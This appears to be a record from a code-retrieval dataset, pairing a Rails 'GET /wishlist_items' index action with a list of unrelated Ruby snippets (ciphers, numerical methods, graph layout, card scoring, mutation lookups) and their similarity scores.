partial_derivatives = Hash.new(0)#Array.new(nodeset.length)\n nodeset.each_key do |i| #go through every person; computer partial deriv affect on them\n if !nodeset[i].static\n deriv = compute_partial_derivatives(i, nodeset, spring_strength, ideal_length)\n partial_derivatives[i] = deriv\n delta = Math.sqrt(deriv[0]*deriv[0]+deriv[1]*deriv[1])\n p, delta_p = i, delta if delta > delta_p\n end\n end\n \n last_energy = 1.0/0 \n begin #computing movement based on a particular node p\n\n p_partials = Hash.new(0)\n nodeset.each_key {|i| p_partials[i] = compute_partial_derivative(i, p, nodeset, spring_strength, ideal_length)}\n\n last_local_energy = 1.0/0\n begin\n if !nodeset[p].static\n # compute jacobian; copied code basically\n dE_dx_dx = dE_dx_dy = dE_dy_dx = dE_dy_dy = 0.0\n nodeset.each_key do |i|\n if i!=p\n dx = nodeset[p].location[0] - nodeset[i].location[0]\n dy = nodeset[p].location[1] - nodeset[i].location[1]\n dist = Math.sqrt(dx*dx+dy*dy)\n dist_cubed = dist**3\n k_mi = spring_strength[[p,i]]\n l_mi = ideal_length[[p,i]]\n dE_dx_dx += k_mi * (1 - (l_mi * dy * dy) / dist_cubed)\n dE_dx_dy += k_mi * l_mi * dy * dx / dist_cubed\n dE_dy_dx += k_mi * l_mi * dy * dx / dist_cubed\n dE_dy_dy += k_mi * (1 - (l_mi * dx * dx) / dist_cubed)\n end\n end\n \n # calculate dv (amount we should move)\n dE_dx = partial_derivatives[p][0]\n dE_dy = partial_derivatives[p][1]\n \n dv = Vector[(dE_dx_dy * dE_dy - dE_dy_dy * dE_dx) / (dE_dx_dx * dE_dy_dy - dE_dx_dy * dE_dy_dx),\n (dE_dx_dx * dE_dy - dE_dy_dx * dE_dx) / (dE_dy_dx * dE_dx_dy - dE_dx_dx * dE_dy_dy)]\n\n # if for some reason our dv ends up being infinite (divide by 0), just set to 0??\n # and why in gods name is assignment a private function?! And why doesn't rails say so?!\n dv = Vector[0.0,dv[1]] if dv[0].infinite?\n dv = Vector[dv[0],0.0] if dv[1].infinite?\n\n # move vertex\n nodeset[p].location += dv\n # recompute partial derivates and delta_p based on new location\n deriv = compute_partial_derivatives(p, nodeset, spring_strength, ideal_length)\n partial_derivatives[p] = deriv\n delta_p = Math.sqrt(deriv[0]*deriv[0]+deriv[1]*deriv[1])\n\n #check local energy if we should be done--I feel like this could be done with a cleaner conditional\n #repeat until delta is 0 or energy change falls bellow tolerance \n local_done = false\n if last_local_energy == 1.0/0 #round 1\n local_done = (delta_p == 0)\n else\n local_done = (delta_p == 0) || ((last_local_energy - delta_p)/last_local_energy < tolerance)\n end\n last_local_energy = delta_p #in either case, set our local energy to the last change\n #puts \"local energy=\"+last_local_energy.to_s\n end\n end while !local_done #local energy is still too high\n \n #update partial derivatives and select new p\n old_p = p\n nodeset.each_key do |i|\n if !nodeset[i].static\n old_deriv_p = p_partials[i]\n old_p_partial = compute_partial_derivative(i,old_p, nodeset, spring_strength, ideal_length) #don't we have this already?\n deriv = partial_derivatives[i]\n deriv[0] += old_p_partial[0] - old_deriv_p[0]\n deriv[1] += old_p_partial[1] - old_deriv_p[1]\n partial_derivatives[i] = deriv\n \n delta = Math.sqrt(deriv[0]*deriv[0]+deriv[1]*deriv[1])\n if delta > delta_p\n p = i\n delta_p = delta\n end\n end\n end\n\n #calc global energy to see if we're done\n #repeat until delta is 0 or energy change falls bellow tolerance \n global_done = false\n if last_energy != 1.0/0 #make sure we have a value to divide\n global_done = (delta_p == 0) || ((last_energy - delta_p).abs/last_energy < tolerance)\n end\n last_energy = delta_p\n #puts \"global energy=\"+last_energy.to_s\n end while !global_done #global energy is still too high\n puts \"finished kamada_kawai @ \"+Time.now.to_s\n puts \"end of kamada\"\n end",
"def k_value(r_A)\n if !@adj || r_A < 2100\n K_VALUE\n elsif r_A > 2400\n 16\n else\n 24\n end\n end",
"def ceasar_cipher(input, shifter)\n\n alphabet = Array('a'..'z')\n lower_case = Hash[alphabet.zip(alphabet.rotate(shifter))]\n\n alphabet = Array('A'..'Z')\n upper_case = Hash[alphabet.zip(alphabet.rotate(shifter))]\n\n cipher = lower_case.merge(upper_case)\n\n input.chars.map{ |c| cipher.fetch(c , c)}.join\n \nend",
"def lax_friedrichs\n @u[0] = @mx.times.map { |j| self.ic(@x[j]) } # IC: u(x,0)\n alpha = @a*@dt/@dx\n 0.upto(@mt-2) do |n|\n @u[n+1] = (1.upto(@mx-3)).to_a\n @u[n+1].map! { |j| 0.5*(@u[n][j+1]+u[n][j-1])-0.5*alpha*(@u[n][j+1]-@u[n][j-1]) }\n @u[n+1].unshift 0.5*(@u[n][1]+u[n][@mx-2])-0.5*alpha*(@u[n][1]-@u[n][@mx-2]) # u(0,t)\n @u[n+1].push 0.5*(@u[n][0]+u[n][@mx-3])-0.5*alpha*(@u[n][0]-@u[n][@mx-3]) # u(max(x), t)\n @u[n+1].push @u[n+1][0] # periodic BC\n end\n end",
"def vigenere_cipher(str, k)\n alpha = (\"a\"..\"z\").to_a\n\n msg = (0...str.length).map do |i|\n old_pos = alpha.index(str[i])\n new_pos = (old_pos + k[i%k.length]) % alpha.length\n alpha[new_pos]\n end\n\n msg.join()\nend",
"def floyd_warshall\n p = VoteMatrix.zero_with_candidates(vote_candidates)\n\n # for i from 1 to C\n # for j from 1 to C\n # if (i ≠ j) then\n # if (d[i,j] > d[j,i]) then\n # p[i,j] := d[i,j]\n # else\n # p[i,j] := 0\n row_count.times do |i|\n row_count.times do |j|\n next if i == j\n\n if self[i, j] > self[j, i]\n p[i, j] = self[i, j]\n else\n p[i, j] = 0\n end\n end\n end\n\n # for i from 1 to C\n # for j from 1 to C\n # if (i ≠ j) then\n # for k from 1 to C\n # if (i ≠ k and j ≠ k) then\n # p[j,k] := max ( p[j,k], min ( p[j,i], p[i,k] )\n row_count.times do |i|\n row_count.times do |j|\n next if i == j\n\n row_count.times do |k|\n next if i == k || j == k\n\n p[j, k] = [p[j, k], [p[j, i], p[i, k]].min].max\n end\n end\n end\n\n p\n end",
"def evaluate(hand) \n value = 0\n numerical_value = hand.map { |card| card[0]} \n numerical_value.each do |x| \n if ['K', 'Q', 'J'].include?(x)\n value += 10\n elsif x == 'A'\n value += 11\n else\n value += x.to_i\n end\n end\n \n hand.select {|x| x[0] == 'A'}.count.times do \n if value > 21\n value -= 10\n end\n end\n value\nend",
"def kamen_rider(*eras)\n from_eras(*eras, field: :kamen_riders)\n end",
"def kamen_rider(*eras)\n from_eras(*eras, field: :kamen_riders)\n end",
"def get_letter\n\t\t# move the 'a' and 'b' jokers \n\t\tmove_joker_a\n\t\tmove_joker_b\n\n\t\t# get their new positons\n\t\tnew_a = @deck_of_cards.index(Card.new(:joker, 1))\n\t\tnew_b = @deck_of_cards.index(Card.new(:joker, 2))\n\n\t\t# perform a triple split around the positions of the jokers\n\t\ttriple_split(new_a, new_b) if new_a < new_b\n\t\ttriple_split(new_b, new_a) if new_b < new_a\n\n\t\t# perform a count cut with the value of the bottom card\n\t\tcount_cut(@deck_of_cards[53].value)\n\n\t\t# now that the deck has been properly mutated, we can now\n\t\t# get the output lettere by getting the value of the top card in the deck\n\t\t# and stepping down that many cards (including the top) and converting\n\t\t# the value of the ending card to a letter\n\t\tfinal_val = @deck_of_cards[@deck_of_cards[0].value].value\n\tend",
"def jal(c)\n\n end",
"def gencode(instr)\n memoizer = Hash.new { |h,morse|\n retval = []\n get_letters(morse) { |c,rest|\n h[rest].each {|s| retval << (c+s)}\n }\n h[morse] = retval\n }\n memoizer[''] = ['']\n memoizer[instr]\nend",
"def hiv_protease(aa_array,start_aa=1)\n out_hash = {}\n sdrm = {}\n sdrm[23] = ['L',['I']]\n sdrm[24] = ['L',['I']]\n sdrm[30] = ['D',['N']]\n sdrm[32] = ['V',['I']]\n sdrm[46] = ['M',['I','L','V']]\n sdrm[47] = ['I',['V','A']]\n sdrm[48] = ['G',['V','M']]\n sdrm[50] = ['I',['V','L']]\n sdrm[53] = ['F',['L']]\n sdrm[54] = ['I',['V','L','M','T','A','S']]\n sdrm[73] = ['G',['S','T','C','A']]\n sdrm[76] = ['L',['V']]\n sdrm[82] = ['V',['A','T','S','F','L','C','M']]\n sdrm[83] = ['N',['D']]\n sdrm[84] = ['I',['V','A','C']]\n sdrm[85] = ['I',['V']]\n sdrm[88] = ['N',['D','S']]\n sdrm[90] = ['L',['M']]\n aa_length = aa_array.size\n end_aa = start_aa + aa_length - 1\n (start_aa..end_aa).each do |position|\n array_position = position - start_aa\n if sdrm.keys.include?(position)\n wt_aa = sdrm[position][0]\n test_aa = aa_array[array_position]\n if test_aa.size == 1\n unless wt_aa == test_aa\n if sdrm[position][1].include?(test_aa)\n out_hash[position] = [wt_aa,test_aa]\n end\n end\n else\n test_aa_array = test_aa.split(\"/\")\n if (test_aa_array & sdrm[position][1])\n out_hash[position] = [wt_aa,test_aa]\n end\n end\n end\n end\n return out_hash\nend",
"def solution(a)\n # write your code in Ruby 2.2 \n frecuencies = a.each_with_object(Hash.new(0)) { |key, value| value[key] += 1 } \n \n frecuencies.each do |key, value|\n if value.odd? then return key end\n end\nend",
"def dr_evils_cipher(coded_message)\n code = coded_message.downcase.split(/[@#$%&*]/)\n decoded_string = []\n cipher = (\"a\"..\"z\").to_a\n \n code.each do |word|\n decoded_word = \"\"\n word.split(//).each do |letter|\n if cipher.include?(letter)\n index = cipher.index(letter) - 4\n decoded_letter = cipher[index]\n decoded_word << decoded_letter\n else\n decoded_word << letter\n end\n end\n decoded_string << decoded_word\n end\n decoded_string.join(\" \")\nend",
"def r2\n @n_predictors.times.inject(0) {|ac,i| ac+@coeffs_stan[i]* @matrix_y[i,0]} \n end",
"def lcs(arr)\n lcs_helper(arr)[:best_sum]\nend",
"def vigenere_cipher(str, arr)\n alpha = (\"a\"..\"z\").to_a\n new_str = \"\"\n str.each_char.with_index do |char, i|\n pos = alpha.index(char)\n key = arr[i % arr.length]\n new_pos = (pos + key) % alpha.length\n new_str += alpha[new_pos]\n end\n new_str\nend",
"def predict(input)\n l_size = input.shape[0]\n az = Numo::DFloat.zeros(l_size,@nhidden)\n ar = Numo::DFloat.zeros(l_size,@nhidden)\n ahhat = Numo::DFloat.zeros(l_size,@nhidden)\n\tah = Numo::DFloat.zeros(l_size,@nhidden)\n\t\t\n a1 = tanh((input.dot @w1) + @b1)\n pp \"a1 is ============\"\n pp a1\n pp a1[1,0...a1.shape[1]]\n\t \n # (array slice view) http://ruby-numo.github.io/narray/narray/Numo/DFloat.html#[]-instance_method\t \n x = (Numo::DFloat.zeros(@nhidden)).concatenate(a1[1,0...a1.shape[1]])\n az[1,0...az.shape[1]] = sigm((x.dot @wz) + @bz)\n ar[1,0...ar.shape[1]] = sigm((x.dot @wr) + @br)\n ahhat[1,0...ahhat.shape[1]] = tanh((x.dot @wh) + @bh)\n\tah[1,0...ah.shape[1]] = az[1,0...az.shape[1]]*ahhat[1,0...ahhat.shape[1]]\n\n # for i in range(1,l_size):\n (1...l_size).each do |i|\n x = ah[i-1,0...ah.shape[1]].concatenate(a1[i,0...a1.shape[1]])\n az[i,0...az.shape[1]] = sigm((x.dot @wz) + @bz)\n ar[i,0...ar.shape[1]] = sigm((x.dot @wr) + @br)\n x = (ar[i,0...ar.shape[1]]*ah[i-1,0...ah.shape[1]]).concatenate(a1[i,0...a1.shape[1]])\n ahhat[i,0...ahhat.shape[1]] = tanh((x.dot @wh) + @bh)\n ah[i,0...ah.shape[1]] = (1-az[i,0...az.shape[1]])*ah[i-1,0...az.shape[1]] + az[i,0...az.shape[1]]*ahhat[i,0...ahhat.shape[1]]\n end\n \n a2 = tanh((ah.dot @w2) + @b2)\n\treturn a1,az,ar,ahhat,ah,a2\n end",
"def act_fun(pnum, jnum, signal, signal_hash, nodes, jokes)\n\talpha_decay = 1.5\n\tbegin\n\t\tsh = signal_hash[[jnum,pnum]]\n\t\tdiv_factor = signal.to_f ** alpha_decay\n\t\tnd = normdist(jokes[jnum],nodes[pnum])\n\t\tout = sh * ((nd * 2) / div_factor) / sh\n\t\tout\n\trescue\n\t\t0\n\tend\nend",
"def value()\n sum = 0\n # Partition the array by string and integer then reverse to put aces at back\n @cards.partition{|x| x.is_a? String}.map(&:sort).flatten.reverse_each do |i|\n if [\"Q\", \"J\", \"K\"].include?(i)\n sum += 10\n elsif i == \"A\"\n if sum + 11 > 21\n sum += 1\n else\n sum += 11\n end\n else \n sum += i\n end\n end \n return sum\n end",
"def cipher(word, key) \n #create a code for each letter of the alphabet (index == code)\n up_alpha = [\"A\",\"B\",\"C\",\"D\",\"E\",\"F\",\"G\",\"H\",\"I\",\"J\",\"K\",\"L\",\"M\",\"N\",\"O\",\"P\",\"Q\",\"R\",\"S\",\"T\",\"U\",\"V\",\"W\",\"X\",\"Y\",\"Z\"]\n down_alpha = [\"a\",\"b\",\"c\",\"d\",\"e\",\"f\",\"g\",\"h\",\"i\",\"j\",\"k\",\"l\",\"m\",\"n\",\"o\",\"p\",\"q\",\"r\",\"s\",\"t\",\"u\",\"v\",\"w\",\"x\",\"y\",\"z\"]\n word_arr = []\n word_arr = word.split(//)\n\n #shift the value of each letter in the array \n word_arr.each do |letter|\n new_arr = []\n if up_alpha.include?(letter)\n new_index = up_alpha.index(letter) + key\n #If the new index exceed 25, rollover to index 0 (for uppercase letters)\n if new_index > 25\n new_index = new_index - 26\n new_arr.push(up_alpha[new_index])\n else \n new_arr.push(up_alpha[new_index])\n end\n\n elsif down_alpha.include?(letter)\n new_index = down_alpha.index(letter) + key\n #If the new index exceed 25, rollover to index 0 (for lowercase letters)\n if new_index > 25\n new_index = new_index - 26\n new_arr.push(down_alpha[new_index])\n else \n new_arr.push(down_alpha[new_index])\n end \n else\n new_arr.push(letter)\n end\n #combine the array into a string\n print new_arr.join()\n end\n puts ''\nend",
"def best_letter string\n alphabet = ('a'..'z').to_a\n frequency_hash = Hash['a' => 1]\n alphabet.each do |x|\n frequency_hash[x] = alphabet_frequency(string, x)\n end\n #puts frequency_hash\n number_alphabet [(alphabet_number(frequency_hash.min_by{|k,v| v}.first.split(\"\")).first + 1) % 26]\nend",
"def caesar_cipher(string, key) \n\tarr_string = string.downcase.split(\"\") \n\talpha = (\"a\"..\"z\").to_a \n\tfor i in arr_string do \n\t\tif alpha.include?(i) \n\t\t\talpha_index = alpha.index(i) \n\t\t\tstring_index = arr_string.index(i) \n\t\t\tif alpha_index + key > 25 \n\t\t\t\tkey_change = alpha[alpha_index + key - 25 - 1] \n\t\t\t\tarr_string[string_index] = key_change \n\t\t\telse \n\t\t\t\tkey_change = alpha[alpha_index + key] \n\t\t\t\tarr_string[string_index] = key_change \n\t\t\tend \n\t\tend \n\tend \n\tarr_string.join\nend",
"def hcv_ns5a(aa_array,start_aa=1)\n out_hash = {}\n sdrm = {}\n sdrm[28] = ['M',['T']]\n sdrm[30] = ['L',['H','K','R','Q','A','S','D']]\n sdrm[31] = ['L',['M','V','F']]\n sdrm[32] = ['P',['L']]\n sdrm[44] = ['K',['R']]\n sdrm[58] = ['H',['D','P','S']]\n sdrm[64] = ['T',['A','S']]\n sdrm[77] = ['P',['A','S']]\n sdrm[78] = ['R',['K']]\n sdrm[79] = ['T',['A']]\n sdrm[83] = ['T',['M']]\n sdrm[85] = ['S',['N','H','Y']]\n sdrm[92] = ['A',['P','T','K','E']]\n sdrm[93] = ['Y',['C','F','H','N']]\n sdrm[107] = ['K',['T','S']]\n sdrm[121] = ['I',['V']]\n sdrm[135] = ['T',['A']]\n aa_length = aa_array.size\n end_aa = start_aa + aa_length - 1\n (start_aa..end_aa).each do |position|\n array_position = position - start_aa\n if sdrm.keys.include?(position)\n wt_aa = sdrm[position][0]\n test_aa = aa_array[array_position]\n if test_aa.size == 1\n unless wt_aa == test_aa\n if sdrm[position][1].include?(test_aa)\n out_hash[position] = [wt_aa,test_aa]\n end\n end\n else\n test_aa_array = test_aa.split(\"/\")\n if (test_aa_array & sdrm[position][1])\n out_hash[position] = [wt_aa,test_aa]\n end\n end\n end\n end\n return out_hash\nend",
"def choleski(n, a)\n n = n - 1\n\n l = Array.new(n + 1) { Array.new(n + 1) { 0 } }\n l[0][0] = Math::sqrt(a[0][0])\n\n (1..n).each do |i|\n l[i][0] = a[i][0].fdiv(l[0][0])\n end\n\n l[1][1] = Math::sqrt(a[1][1] - l[1][0] ** 2)\n\n (2..n).each do |i|\n (1..i - 1).each do |j|\n sumatoria = (0..j - 1).inject(0) { |sum, k| sum + l[i][k] * l[j][k] }\n l[i][j] = (a[i][j] - sumatoria).fdiv(l[j][j])\n end\n\n sumatoria = (0..i - 1).inject(0) { |sum, k| sum + l[i][k] ** 2 }\n l[i][i] = Math::sqrt(a[i][i] - sumatoria)\n end\n\n puts \"Las componentes lij de la matriz L son #{l}.\"\n return l\nend",
"def kcode() end",
"def check(player, computer) \n \n @code_breaker = player\n\n @computer_array = Array.new\n\n computer.map { |i| @computer_array.push(i) }\n\n @blk = 0\n @w = 0\n\n # A correct entry (in placement and color)\n i = 0 \n while i < @computer_array.length do\n if @code_breaker[i] == @computer_array[i]\n @blk += 1 \n @code_breaker[i] = \"A\"\n @computer_array[i] = \"B\"\n end\n i += 1 \n end\n \n # A correct color-only\n j = 0 \n while j < @computer_array.length do \n \n k = 0 \n while k < @code_breaker.length do \n \n if ( ( @computer_array[j] == @code_breaker[k] ) &&\n ( j != k ) ) then \n \n @w += 1 \n @code_breaker[k] = \"Z\"\n @computer_array[j] = \"Y\"\n end\n k += 1\n end\n \n j += 1\n end\n puts \"Black Keys: #{@blk} \\n\" \\\n \"White Keys: #{@w}\"\n # A cracked code\n puts \"Congrats! You cracked the code!\" if @blk == @computer_array.length\n end",
"def fitness\n return @fitness if @fitness\n\n cls = (options[:kappa]).times.map { |i| [] }\n @data.each_with_index { |g, i| cls[g].push i}\n\n p_b2 = cls.map { |c| penalty_before(c) }\n p_a2 = cls.map { |c| penalty_after(c) }\n\n impr2 = p_b2.zip(p_a2).map do |b,a|\n b > 0 ? ((b - a)/b) : 0\n end.inject(0,:+)\n\n @fitness = impr2\n end",
"def vigenere_cipher(string, key_sequence, alphabet)\r\n\r\nend",
"def decode_strong(guess, code)\n guess.each_with_index.reduce(0) do |count, (code_peg, index)|\n if code_peg && code[index] == code_peg\n count += 1\n code[index] = nil\n guess[index] = nil\n end\n count\n end\n end",
"def hash\n num = 0\n self.each do |k,v|\n if k.is_a?(Integer) && v.is_a?(Integer)\n num += k * 26 + v\n elsif k.is_a?(Integer) && !v.is_a?(Integer)\n num += k * 26 + ALPHA_NUMBERS[v.to_s.downcase]\n elsif v.is_a?(Integer) && !k.is_a?(Integer)\n num += v * 26 + ALPHA_NUMBERS[k.to_s.downcase]\n elsif !k.nil? && !v.nil?\n num += ALPHA_NUMBERS[k.to_s.downcase] * ALPHA_NUMBERS[v.to_s.downcase]\n end\n end\n num\n end",
"def avg_movie_ratings r\n res = {}\n #return a array of outter keys {ryan, clay, christine, jon, david}\n k = r.keys\n k.each do |x|\n #return array of keys of outter key, Ex: ryan keys {avengers, little mermaind, inception }\n inner_arr = r[x].keys\n #loop through each inner keys\n inner_arr.each do |y|\n if res[y] != nil\n res[y] = (res[y] + r[x][y])\n else\n res[y] = r[x][y]\n end\n end\nend\nres\nend",
"def stocGradAscent0(dataMatrix, classLabels, alpha=0.001, maxCycles=500, bDebug=false)\n m,n = shape(dataMatrix)\n weights = Array.new(n,1)\n m.times do |i|\n h = sigmod(dataMatrix[i].multi(weights).sum)\n error = classLabels[i]-h\n weights = weights.plus(dataMatrix[i].multi(alpha*error))\n end\n weights\n end",
"def run_efficient_frontier(real_risk_free_rate)\n\n # Grab the names and number of securities:\n names = @con.eval(\"names(Data)\").to_ruby\n no_of_securities = names.size\n\n constraints_command = %q{Constraints <- c(\"LongOnly\")}\n # You can't do \"LongOnly\", and specify weights. Have to do a minW[1:18]=0.0\n # %q{<- c(\"minW[1:nAssets]=0\", \"maxsumW[1:2Assets]=13.63\")}\n # \"maxW[1:18]=0.9\"\n # \"Constraints <- c('maxW[1:#{no_of_securities}] = rep( 0.9, times = #{no_of_securities})')\"\n # Constraints = \"minW=c(0.74,0,0,0)\" #### this is a long -only\n\n frontier_points = 20\n\n @con.eval(\"forced_return_data = forec(Data, implied_returns);#{constraints_command};Spec = portfolioSpec();setRiskFreeRate(Spec) = #{real_risk_free_rate};setEstimator(Spec) = 'covMcdEstimator';setNFrontierPoints(Spec) = #{frontier_points};frontier = portfolioFrontier(forced_return_data, Spec, Constraints);weights = frontier@portfolio@portfolio[['weights']]\")\n weights = get_r_variable(\"weights\")\n\n if weights.respond_to?(:row_vectors)\n # For some reason, you sometimes get a matrix, and others just a plain array\n vectors = weights.row_vectors\n else\n vectors = [weights]\n end\n\n # Grab the list of variable names to make the return thing into a useful\n # hash. Do it from the R variable in case the order changed for some reason\n # from the ruby ones.\n vectors.map! {|vector| vector.to_a}\n portfolio_weights = []\n vectors.each do |weights_set|\n hash = {}\n weights_set.each_with_index do |weight, index|\n hash[names[index].upcase.to_sym] = weight\n end\n portfolio_weights << hash\n end\n\n return portfolio_weights\n end",
"def encrypt(plaintext)\n ciphertext = \"\"\n for i in 0...plaintext.length\n key = @alphabet.index(plaintext[i]);\n key = mod(key+@shift, @alphabet.length)\n ciphertext = ciphertext + @alphabet.at(key)[0]\n end\n return ciphertext\n end",
"def calcSignificance(inMatrix,totalGenes,bgRate)\n\n #total number of mutations in matrix\n oneCount = inMatrix.rowSums.sum\n \n #calculate the adjustment from the raw matrix, for simplicity (prob should be switched later)\n penalty = calcAdjustment(inMatrix,totalGenes)\n\n #sort the matrix (have already paid the penalty for this)\n inMatrix.sortByRowSums!\n inMatrix.sortByColSums!\n\n @probNullVal = bgRate\n @negProbNullVal = 1-@probNullVal\n \n #calculate d for the matrix\n d = sigCalc(inMatrix) \n\n return d - penalty \nend",
"def vigenere_cipher(message, keys)\n alpha = (\"a\"..\"z\").to_a\n new_string = \"\"\n message.each_char.with_index do |char, i|\n old_i = alpha.index(char)\n new_i = (old_i + keys[i % keys.length]) % 26\n new_string += alpha[new_i]\n end\n new_string\nend",
"def native_kendalTauish_cost( pi )\n EpsSrraNative::rank_aggergate_upperW(@n){ |u,v| pi.pref(u,v) == @w[u][v] ? 0 : 1 } \n end",
"def h(n); ackermann(2, n); end",
"def vigenere_cipher(message, keys)\n alpha = (\"a\"..\"z\").to_a\n count = 0\n message.each_char.with_index do |char, idx|\n pos = alpha.index(char)\n #rather than count we can do key alpha[(pos + key[idx % key.length] )% 26]\n message[idx] = alpha[(pos + keys[count]) % alpha.length]\n count += 1\n count = 0 if count == keys.length\n end\n message\nend",
"def encrypt_letter alphabet, cipherbet, letter\n# default for things not found in alphabet is to just return as\n encrypted_letter = letter\n # look for letter using method from above, -1 means not found\n pos = get_position_in_list alphabet, letter\n if pos == -1\n return encrypted_letter\n else\n encrypted_letter = cipherbet[pos]\n if is_lowercase(letter) == true\n encrypted_letter = encrypted_letter.downcase\n end\n return encrypted_letter\n end\nend",
"def jaccard(a, b)\n a_i = a.map { |i| i > 0 }\n b_i = b.map { |i| i > 0 } \n n = (0 .. (a.size - 1)).map { |i| (a_i[i] && b_i[i]) ? 1 : 0 }.inject(:+)\n u = (0 .. (a.size - 1)).map { |i| (a_i[i] || b_i[i]) ? 1 : 0 }.inject(:+)\n return n.to_f / u\n #b = bray_curtis(a, b)\n #return 2.0*b/(1+b)\n end",
"def caesar_guesser(encrypted_string, alphabet)\nend",
"def dr_evils_cipher(coded_message)\n input = coded_message.downcase.split(\"\") # Check out this method in IRB to see how it works! Also refer to the Ruby docs.\n # it's setting the input to be the coded message that is now lower case and splits each input into a single letter\n decoded_sentence = []\n #setting decoded sentence to be an empty array\n cipher = {\"e\" => \"a\", # This is technically a shift of four letters...Can you think of a way to automate this? Is a hash\n \"f\" => \"b\", # the best data structure for this problem? What are the pros and cons of hashes?\n \"g\" => \"c\",\n \"h\" => \"d\",\n \"i\" => \"e\",\n \"j\" => \"f\",\n \"k\" => \"g\",\n \"l\" => \"h\",\n \"m\" => \"i\",\n \"n\" => \"j\",\n \"o\" => \"k\",\n \"p\" => \"l\",\n \"q\" => \"m\",\n \"r\" => \"n\",\n \"s\" => \"o\",\n \"t\" => \"p\",\n \"u\" => \"q\",\n \"v\" => \"r\",\n \"w\" => \"s\",\n \"x\" => \"t\",\n \"y\" => \"u\",\n \"z\" => \"v\",\n \"a\" => \"w\",\n \"b\" => \"x\",\n \"c\" => \"y\",\n \"d\" => \"z\"}\n# This is where the conversions for the code is stored in a hash.\n input.each do |x| # What is #each doing here?\n found_match = false # Why would this be assigned to false from the outset? What happens when it's true?\n\n # It is iterating over each item that was in the message to be decoded. It's false because it doesn't match the code that deciphers it. It means that it was the same which can't happen.\n\n cipher.each_key do |y| # What is #each_key doing here?\n if x == y # What is this comparing? Where is it getting x? Where is it getting y? What are those variables really?\n\n # It is iterating over the hash keys. It is comparing the message to be decoded to the key to see what letter it should change it too.\n\n decoded_sentence << cipher[y]\n found_match = true\n #When they match it's push the new deciphered lettter to the decoded sentence array.\n break # Why is it breaking here?\n #It's breaking so it can move onto the next letter to decipher.\n elsif x == \"@\" || x == \"#\" || x == \"$\" || x == \"%\"|| x == \"^\" || x == \"&\"|| x ==\"*\" #What the heck is this doing?\n #It's making it so if there is a character that's not a letter it won't change it and just push it into the array.\n decoded_sentence << \" \"\n found_match = true\n break\n elsif (0..9).to_a.include?(x) # Try this out in IRB. What does \" (0..9).to_a \" do?\n #Similar as before but this is for numbers in an array and will add those as well.\n decoded_sentence << x\n found_match = true\n break\n end\n end\n if not found_match # What is this looking for?\n decoded_sentence << x\n # If there isn't anything that matches the previous checks it will just add it to decoded sentece.\n end\n end\n decoded_sentence = decoded_sentence.join(\"\")\n #What is this method returning?\n# It's returning the decoded sentence and joining everything back together.\nend",
"def alpha2\n self[2]\n end",
"def alpha2\n self[2]\n end",
"def north_korean_cipher(coded_message)\n final = Array.new\n #coded_message = \"m^aerx%e&gsoi!\"\n #x = \"a\"\n input = coded_message.downcase.split(\"\")\n symbols = [\"@\",\"#\",\"$\",\"%\",\"^\",\"&\",\"*\"]\n @alphabet = 'a'.upto('z').to_a\n\n\ninput.each do |x|\n\nif @alphabet.include?(x)\n sel = @alphabet.index(x)\n new_pos = sel.to_i - 4\n final << @alphabet[new_pos]\nelsif symbols.include?(x)\n final << \" \"\nelsif (0..9).include?(x.to_i)\n final << x\nelse\n final << \"~\" #adds a ~ if the character is not recognized. Easier to debug this way. \nend\n #p final.join(\"\") # Uncomment if you want to see the process.\nend\np final.join(\"\")\nfinal\nend",
"def widened_optimal_plan_basis #TODO: check for nil or for inner error\n @art_result_basis ||= widened_optimal_plan.basis_indexes\n end",
"def vigenere_cipher(message, keys)\n alphabet = ('a'..'z').to_a\n vigenere_str = \"\"\n\n message.each_char.with_index do |char, idx|\n old_idx = alphabet.index(char)\n temp_key = keys.shift\n keys.push(temp_key)\n new_idx = (old_idx + temp_key) % 26\n vigenere_str += alphabet[new_idx]\n end\n vigenere_str\nend",
"def encodeing(array)\n i = 0\n freq = 0\n value = 0\n encoding = []\n while i < array.length\n freq = array[i]\n value = array[i + 1]\n freq.times { encoding << value }\n i += 2\n end\n encoding\nend",
"def vigenere_cipher(message, keys)\n alphabet = ('a'..'z').to_a\n array = []\n\n i = 0\n\n message.each_char do |char|\n idx = alphabet.index(char)\n array << alphabet[(idx + keys[i]) % 26]\n if i < keys.length - 1\n i += 1\n else\n i = 0\n end\n end\n array.join('')\n \nend"
] | [
"0.659812",
"0.56843007",
"0.54977244",
"0.52980226",
"0.520264",
"0.5083619",
"0.5061918",
"0.50556916",
"0.50504255",
"0.5031081",
"0.49978867",
"0.4965376",
"0.49543536",
"0.49212122",
"0.4915246",
"0.4910321",
"0.49029636",
"0.4896388",
"0.48898193",
"0.48720384",
"0.48610783",
"0.48326987",
"0.48214152",
"0.48127103",
"0.48096833",
"0.47985578",
"0.4761112",
"0.47537354",
"0.4733936",
"0.47267762",
"0.47117046",
"0.46741003",
"0.46733797",
"0.46677336",
"0.46296442",
"0.4624611",
"0.46224508",
"0.460897",
"0.45998126",
"0.45990527",
"0.45939082",
"0.4589804",
"0.45883137",
"0.45748317",
"0.4570887",
"0.4569275",
"0.45653212",
"0.45595425",
"0.45561293",
"0.45555788",
"0.4554592",
"0.45525914",
"0.45508596",
"0.45471913",
"0.45464996",
"0.4545249",
"0.4545249",
"0.45441946",
"0.45341048",
"0.45314968",
"0.45259622",
"0.45216787",
"0.45206586",
"0.4518505",
"0.4512947",
"0.4510068",
"0.4506488",
"0.45022863",
"0.45020518",
"0.44980976",
"0.44978723",
"0.44965035",
"0.4493728",
"0.4488856",
"0.44843793",
"0.4482804",
"0.44818407",
"0.44799525",
"0.44781235",
"0.4477229",
"0.44757646",
"0.44748116",
"0.44714507",
"0.4458999",
"0.4458078",
"0.4457059",
"0.4453282",
"0.44501424",
"0.4448494",
"0.44431233",
"0.4438992",
"0.44287103",
"0.4423815",
"0.44232276",
"0.44232276",
"0.44160846",
"0.44146875",
"0.44102877",
"0.4407958",
"0.44024885"
] | 0.61531466 | 1 |
GET /wishlist_items GET /wishlist_items.xml | def index
@wishlist_items = WishlistItem.all
respond_to do |format|
format.html # index.html.erb
format.xml { render :xml => @wishlist_items }
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def show\n @wishlist_item = WishlistItem.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @wishlist_item }\n end\n end",
"def show\n @wish_list_item = WishListItem.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @wish_list_item }\n end\n end",
